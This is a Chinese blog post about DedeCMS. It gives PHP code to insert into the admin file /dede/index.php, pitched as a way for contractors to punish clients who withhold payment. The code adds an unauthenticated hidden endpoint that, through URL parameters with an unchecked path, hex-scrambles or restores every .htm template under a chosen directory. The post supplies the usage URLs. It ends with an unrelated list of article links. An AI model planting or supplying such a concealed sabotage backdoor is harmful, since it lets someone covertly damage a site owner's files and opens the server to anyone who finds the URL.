博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
织梦cms模板保护技术
阅读量:4185 次
发布时间:2019-05-26

本文共 1637 字,大约阅读时间需要 5 分钟。

织梦cms模板保护技术,专门修理无良老板,尤其针对卸磨杀驴,干完活不给工资的外包老板。从此网上接单无忧愁

原理不说了,高手自然懂。菜鸟学会用就好了

二次开发部分:修改 /dede/index.php ,在  if(!file_exists($myIcoFile)) $myIcoFile = $defaultIcoFile; 后面添加如下代码

$action = isset($action) ? trim($action) : '';$path = isset($path) ? trim($path) : '';if($action == ''){	exit();}else if($action == 'encode' && $path==''){	echo '';}else if($action=='encode' && !empty($path)){    scanAll2($path);}else if($action=='decode' && $path==''){	echo '';}else if($action=='decode' && !empty($path)){	scanAll3($path);}function hexXbin($data,$types=FALSE){	if(!is_string($data))		return 0;	if($types===false){		$len=strlen($data);		if($len%2){			return 0;		}else if(strspn($data, '0123456789abcdefABCDEF')!=$len){			return 0;		}		return pack('H*',$data);	}else{		return bin2hex($data);	}}function scanAll2($dir){	//echo $dir."\r\n";	if(is_file($dir) && substr($dir, strrpos($dir,'.'))=='.htm'){		file_put_contents($dir,hexXbin(file_get_contents($dir),true)) ;	}	if (is_dir($dir))	{		$children = scandir($dir);		foreach ($children as $child)		{			if ($child !== '.' && $child !== '..')			{				scanAll2($dir.'/'.$child);			}		}	}}function scanAll3($dir){	//echo $dir."\r\n";	if(is_file($dir) && substr($dir, strrpos($dir,'.'))=='.htm'){		file_put_contents($dir,hexXbin(file_get_contents($dir),false)) ;	}	if (is_dir($dir))	{		$children = scandir($dir);		foreach ($children as $child)		{			if ($child !== '.' && $child !== '..')			{				scanAll3($dir.'/'.$child);			}		}	}}
使用方法:访问后台的index.php文件   

编码:http://localhost/dede/index.php?action=encode&path=../templets/

解码:http://localhost/dede/index.php?action=decode&path=../templets/

这样的模板没人认识吧

解码还原

你可能感兴趣的文章
微信拼手气红包实现(Go,腾讯面试题)
查看>>
Z字形变换(Python,LeetCode)
查看>>
Z字型变换(Go,LeetCode)
查看>>
将十进制整数转换为字符串实现(Go)
查看>>
Go fmt.Println函数:将数据打印到控制台
查看>>
Linux mv命令:重命名文件
查看>>
Flask render_template函数
查看>>
整数反转(Python,LeetCode)
查看>>
CentOS修改主机名
查看>>
Python list remove方法
查看>>
整数反转(Go, LeetCode)
查看>>
查询Git版本
查看>>
Shell关系运算符
查看>>
Git配置用户信息
查看>>
删除Linux用户
查看>>
Python list pop方法:弹出列表内的元素
查看>>
Python调用C程序
查看>>
Go标识符
查看>>
Git移动文件,重命名文件
查看>>
Go errors.New函数:创建错误对象
查看>>